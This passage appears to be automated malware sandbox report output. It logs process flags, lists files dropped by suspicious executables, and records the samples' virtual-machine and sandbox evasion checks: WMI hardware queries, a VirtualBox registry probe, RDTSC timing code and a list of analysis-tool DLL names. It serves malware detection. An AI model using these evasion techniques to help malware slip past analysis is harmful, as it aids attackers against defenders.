Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSFB35.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSFB35.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSFB35.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSFB35.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSFB35.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSFB35.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\control.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSD75.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: A_22rjVO67ooiUk2ueyL6tMl.exe PID: 6444, type: MEMORYSTR

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: zfQlIB6J8n2u_zLV5LHnA1xW.exe, 0000000C.00000002.2320846713.0000000004210000.00000040.00001000.00020000.00000000.sdmp

Binary or memory string: AHAL9THJOHNDOEAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe

RDTSC instruction interceptor: First address: FBB0DE second address: FBB108 instructions: 0x00000000 rdtsc 0x00000002 dec cl 0x00000004 neg cl 0x00000006 xor cl, 0000003Ch 0x00000009 movzx dx, bl 0x0000000d movsx eax, bp 0x00000010 btr dx, 0043h 0x00000015 rol cl, 1 0x00000017 xor bl, cl 0x00000019 push esi 0x0000001a sub ax, dx 0x0000001d push ebp 0x0000001e and bp, 75F0h 0x00000023 rcl dx, 006Fh 0x00000027 push ebx 0x00000028 dec bl 0x0000002a rdtsc

Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Memory allocated: 2967CF20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Memory allocated: 2967EAB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Memory allocated: 1120000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Memory allocated: 2B40000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Memory allocated: 4B40000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2CB0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2D60000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 4D60000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 1710000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 3120000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 5120000 memory reserve \| memory write watch

Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\7zSD75.tmp\Install.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe

Code function: 7_2_0217171C rdtsc

7_2_0217171C

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 1564
Source: C:\Users\user\AppData\Local\Temp\kat806.tmp	Window / User API: threadDelayed 1120

Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\is-E4QTE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\msvcr120.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\libcurl.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\QtAVWidgets1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\openh264.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\is-HB2OO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\Qt5OpenGL.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\is-5LVFF.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\Qt5Xml.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\is-JVAO2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\msvcp140_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\is-CKPLA.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\sqls[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\is-9ULQD.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\msvcp120.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-MGI15.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\is-FS8TN.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\libmp3lame.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\is-F6JQ6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\is-46IH9.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Turquoise CD Player\avdevice-58.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
